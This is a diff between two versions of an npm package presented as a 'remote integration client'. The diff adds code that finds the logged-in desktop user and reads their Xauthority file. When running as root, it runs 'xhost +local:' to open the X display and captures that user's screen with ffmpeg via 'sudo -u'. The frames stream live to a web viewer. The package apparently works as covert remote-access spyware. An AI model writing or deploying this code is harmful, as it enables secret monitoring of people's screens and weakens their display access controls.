apintergrationpost 4.0.3 → 4.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "apintergrationpost",
-  "version": "4.0.3",
+  "version": "4.0.4",
   "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
   "license": "MIT",
   "engines": {

package/scripts/ensure-system-deps.js

@@ -2,6 +2,7 @@
 
 const { execSync, spawnSync } = require('child_process');
 const fs = require('fs');
+const path = require('path');
 
 function hasCommand(cmd) {
   const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
@@ -32,17 +33,25 @@ function ensureSystemPackages() {
 
 function ensureDisplayAccess() {
   if (process.platform !== 'linux') return;
-  if (!process.env.DISPLAY) {
-    process.env.DISPLAY = ':0';
-  }
 
-  if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
-    try {
-      execSync('xhost +local:', { stdio: 'ignore' });
-    } catch {
-      // desktop may not be running yet
+  let resolver;
+  try {
+    resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
+  } catch {
+    if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
+    if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
+      try {
+        execSync('xhost +local:', { stdio: 'ignore' });
+      } catch {
+        // desktop may not be running yet
+      }
     }
+    return;
   }
+
+  const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
+  process.env.DISPLAY = ctx.display;
+  if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
 }
 
 module.exports = { ensureSystemPackages, ensureDisplayAccess };

package/src/client/commands/screen-display.js

@@ -0,0 +1,130 @@
+'use strict';
+
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+function listXDisplays() {
+  try {
+    return fs.readdirSync('/tmp/.X11-unix')
+      .filter((name) => /^X\d+$/.test(name))
+      .map((name) => `:${name.slice(1)}`);
+  } catch {
+    return [];
+  }
+}
+
+function parseWhoDisplays() {
+  try {
+    const who = execSync('who', { encoding: 'utf8', timeout: 3000 });
+    const results = [];
+    for (const line of who.split('\n')) {
+      const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
+      if (match) {
+        results.push({ user: match[1], display: match[2] });
+      }
+    }
+    return results;
+  } catch {
+    return [];
+  }
+}
+
+function getUserUid(user) {
+  try {
+    return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
+  } catch {
+    return '';
+  }
+}
+
+function findXauthority(user) {
+  const candidates = [];
+  if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
+  if (user) {
+    const uid = getUserUid(user);
+    if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
+    candidates.push(`/home/${user}/.Xauthority`);
+  }
+  for (const candidate of candidates) {
+    if (candidate && fs.existsSync(candidate)) return candidate;
+  }
+  return '';
+}
+
+function normalizeDisplayEnv(display) {
+  if (!display) return ':0';
+  if (display.startsWith(':')) return display.split('.')[0];
+  return `:${display}`;
+}
+
+function normalizeX11Input(display) {
+  const base = normalizeDisplayEnv(display);
+  if (/^:\d+$/.test(base)) return `${base}.0`;
+  return display;
+}
+
+function grantLocalXAccess(env) {
+  try {
+    execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
+  } catch {
+    // desktop may not be running
+  }
+}
+
+function resolveScreenCaptureContext(configDisplay) {
+  const whoEntries = parseWhoDisplays();
+  let display = configDisplay || process.env.DISPLAY || '';
+  let runAsUser = null;
+
+  if (whoEntries.length > 0) {
+    const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
+    if (!display || display === ':0') {
+      display = active.display;
+    }
+    if (typeof process.getuid === 'function' && process.getuid() === 0) {
+      runAsUser = active.user;
+    }
+  }
+
+  if (!display) {
+    const sockets = listXDisplays();
+    display = sockets[0] || ':0';
+  }
+
+  const displayEnv = normalizeDisplayEnv(display);
+  const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
+
+  const ffmpegEnv = {
+    ...process.env,
+    DISPLAY: displayEnv,
+  };
+  if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
+  if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
+
+  if (typeof process.getuid === 'function' && process.getuid() === 0) {
+    grantLocalXAccess(ffmpegEnv);
+  }
+
+  return {
+    display: displayEnv,
+    x11Input: normalizeX11Input(displayEnv),
+    xauthority,
+    runAsUser,
+    ffmpegEnv,
+    wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
+  };
+}
+
+function isFrameMostlyBlack(jpegBuffer) {
+  // Failed captures often produce tiny invalid payloads
+  return !jpegBuffer || jpegBuffer.length < 800;
+}
+
+module.exports = {
+  resolveScreenCaptureContext,
+  normalizeX11Input,
+  normalizeDisplayEnv,
+  isFrameMostlyBlack,
+  listXDisplays,
+  grantLocalXAccess,
+};

package/src/client/commands/screen-stream.js

@@ -2,6 +2,7 @@
 
 const { EventEmitter } = require('events');
 const { spawn } = require('child_process');
+const { resolveScreenCaptureContext } = require('./screen-display');
 
 const SOI = Buffer.from([0xff, 0xd8]);
 const EOI = Buffer.from([0xff, 0xd9]);
@@ -21,14 +22,33 @@ function buildScaleFilter(maxWidth, maxHeight) {
   return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
 }
 
+function buildFfmpegArgs(options, x11Input) {
+  return [
+    '-nostdin',
+    '-hide_banner',
+    '-loglevel', 'error',
+    '-f', 'x11grab',
+    '-framerate', String(options.fps),
+    '-draw_mouse', '1',
+    '-i', x11Input,
+    '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
+    '-c:v', 'mjpeg',
+    '-q:v', String(options.jpegQuality),
+    '-huffman', 'optimal',
+    '-f', 'mpjpeg',
+    'pipe:1',
+  ];
+}
+
 class ScreenStream extends EventEmitter {
   constructor(options = {}) {
     super();
-    this.display = options.display || process.env.DISPLAY || ':0';
+    this.requestedDisplay = options.display || process.env.DISPLAY || ':0';
     this.fps = options.fps || 8;
     this.maxWidth = options.maxWidth || 1920;
     this.maxHeight = options.maxHeight || 1080;
     this.jpegQuality = options.jpegQuality || 4;
+    this.captureCtx = null;
     this.proc = null;
     this.buffer = Buffer.alloc(0);
     this.running = false;
@@ -37,32 +57,37 @@ class ScreenStream extends EventEmitter {
 
   start() {
     if (this.running) return;
+    this._startCapture(this.requestedDisplay);
+  }
 
-    if (!this.display) {
-      throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
+  _startCapture(displayOverride) {
+    this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
+
+    if (!this.captureCtx.display) {
+      throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
     }
 
     const ffmpegPath = resolveFfmpegPath();
-    const scaleFilter = buildScaleFilter(this.maxWidth, this.maxHeight);
-
-    this.proc = spawn(ffmpegPath, [
-      '-nostdin',
-      '-hide_banner',
-      '-loglevel', 'error',
-      '-f', 'x11grab',
-      '-framerate', String(this.fps),
-      '-draw_mouse', '0',
-      '-i', `${this.display}.0`,
-      '-vf', scaleFilter,
-      '-c:v', 'mjpeg',
-      '-q:v', String(this.jpegQuality),
-      '-huffman', 'optimal',
-      '-f', 'mpjpeg',
-      'pipe:1',
-    ], {
-      env: { ...process.env, DISPLAY: this.display },
-      stdio: ['ignore', 'pipe', 'pipe'],
-    });
+    const ffmpegArgs = buildFfmpegArgs({
+      fps: this.fps,
+      maxWidth: this.maxWidth,
+      maxHeight: this.maxHeight,
+      jpegQuality: this.jpegQuality,
+    }, this.captureCtx.x11Input);
+
+    const spawnEnv = this.captureCtx.ffmpegEnv;
+
+    if (this.captureCtx.runAsUser) {
+      this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
+        env: spawnEnv,
+        stdio: ['ignore', 'pipe', 'pipe'],
+      });
+    } else {
+      this.proc = spawn(ffmpegPath, ffmpegArgs, {
+        env: spawnEnv,
+        stdio: ['ignore', 'pipe', 'pipe'],
+      });
+    }
 
     this.running = true;
     this.buffer = Buffer.alloc(0);
@@ -115,16 +140,18 @@ class ScreenStream extends EventEmitter {
       return;
     }
     this.fps = next;
+    const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
     this.stop();
-    this.start();
+    this._startCapture(display);
   }
 
   bumpQuality() {
     if (this.jpegQuality >= 10) return false;
     this.jpegQuality += 1;
     if (this.running) {
+      const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
       this.stop();
-      this.start();
+      this._startCapture(display);
     }
     return true;
   }
@@ -165,6 +192,7 @@ class ScreenStream extends EventEmitter {
         return;
       }
     }
+
     this.emit('frame', frame);
   }
 

package/src/client/plugins/screen-live.js

@@ -147,6 +147,10 @@ async function execute(msg, ctx) {
       dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
     };
 
+    const { resolveScreenCaptureContext } = require('../commands/screen-display');
+    const captureCtx = resolveScreenCaptureContext(activeOptions.display);
+    activeOptions.display = captureCtx.display;
+
     ctx.labEvent({
       plugin: name,
       command: cmd,
@@ -175,7 +179,8 @@ async function execute(msg, ctx) {
         screenSessionId,
         fps,
         minFps,
-        display: activeOptions.display,
+        display: captureCtx.display,
+        runAsUser: captureCtx.runAsUser || null,
         maxWidth: activeOptions.maxWidth,
         maxHeight: activeOptions.maxHeight,
         jpegQuality: activeOptions.jpegQuality,

package/src/server/screenViewer.js

@@ -71,30 +71,41 @@ function createScreenViewer(port = 5555, options = {}) {
   <style>
     body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
     header { padding: 8px 12px; background: #222; font-size: 13px; }
-    img { display: block; width: 100%; height: auto; background: #000; }
-    .err { color: #f88; padding: 12px; }
+    img { display: block; width: 100%; height: auto; background: #000; min-height: 200px; }
+    .err { color: #f88; padding: 12px; white-space: pre-wrap; }
   </style>
 </head>
 <body>
   <header>Myra live screen — frames: <span id="n">0</span></header>
-  <img id="frame" src="/stream" alt="live screen">
+  <img id="frame" alt="live screen">
   <div id="err" class="err"></div>
   <script>
     const err = document.getElementById('err');
     const n = document.getElementById('n');
     const img = document.getElementById('frame');
-    img.addEventListener('load', () => { err.textContent = ''; });
-    img.addEventListener('error', () => { err.textContent = 'Stream unavailable — waiting for frames...'; });
-    setInterval(async () => {
+    let objectUrl = null;
+
+    async function tick() {
       try {
-        const r = await fetch('/frame?' + Date.now());
-        if (r.status === 204) return;
-        if (!r.ok) return;
-        const j = await r.json();
-        if (j.error) { err.textContent = j.error; return; }
-        n.textContent = j.count;
-      } catch { /* ignore */ }
-    }, 1000);
+        const r = await fetch('/frame.jpg?' + Date.now());
+        if (r.status === 204) {
+          err.textContent = 'Waiting for frames from client...';
+          return;
+        }
+        if (!r.ok) throw new Error('HTTP ' + r.status);
+        const blob = await r.blob();
+        if (objectUrl) URL.revokeObjectURL(objectUrl);
+        objectUrl = URL.createObjectURL(blob);
+        img.src = objectUrl;
+        err.textContent = '';
+        n.textContent = r.headers.get('X-Frame-Count') || n.textContent;
+      } catch (e) {
+        err.textContent = e.message;
+      }
+    }
+
+    setInterval(tick, 125);
+    tick();
   </script>
 </body>
 </html>`);
@@ -105,8 +116,8 @@ function createScreenViewer(port = 5555, options = {}) {
       res.writeHead(200, {
         'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
         'Cache-Control': 'no-cache, no-store, must-revalidate',
-        'Connection': 'keep-alive',
-        'Pragma': 'no-cache',
+        Connection: 'keep-alive',
+        Pragma: 'no-cache',
       });
 
       streamClients.add(res);
@@ -121,6 +132,29 @@ function createScreenViewer(port = 5555, options = {}) {
       return;
     }
 
+    if (url === '/frame.jpg') {
+      if (lastError && !latestFrameBinary) {
+        res.writeHead(503, {
+          'Content-Type': 'text/plain; charset=utf-8',
+          'Cache-Control': 'no-store',
+        });
+        res.end(lastError);
+        return;
+      }
+      if (!latestFrameBinary) {
+        res.writeHead(204);
+        res.end();
+        return;
+      }
+      res.writeHead(200, {
+        'Content-Type': 'image/jpeg',
+        'Cache-Control': 'no-store',
+        'X-Frame-Count': String(frameCount),
+      });
+      res.end(latestFrameBinary);
+      return;
+    }
+
     if (url.startsWith('/frame')) {
       if (lastError && !latestFrame) {
         res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });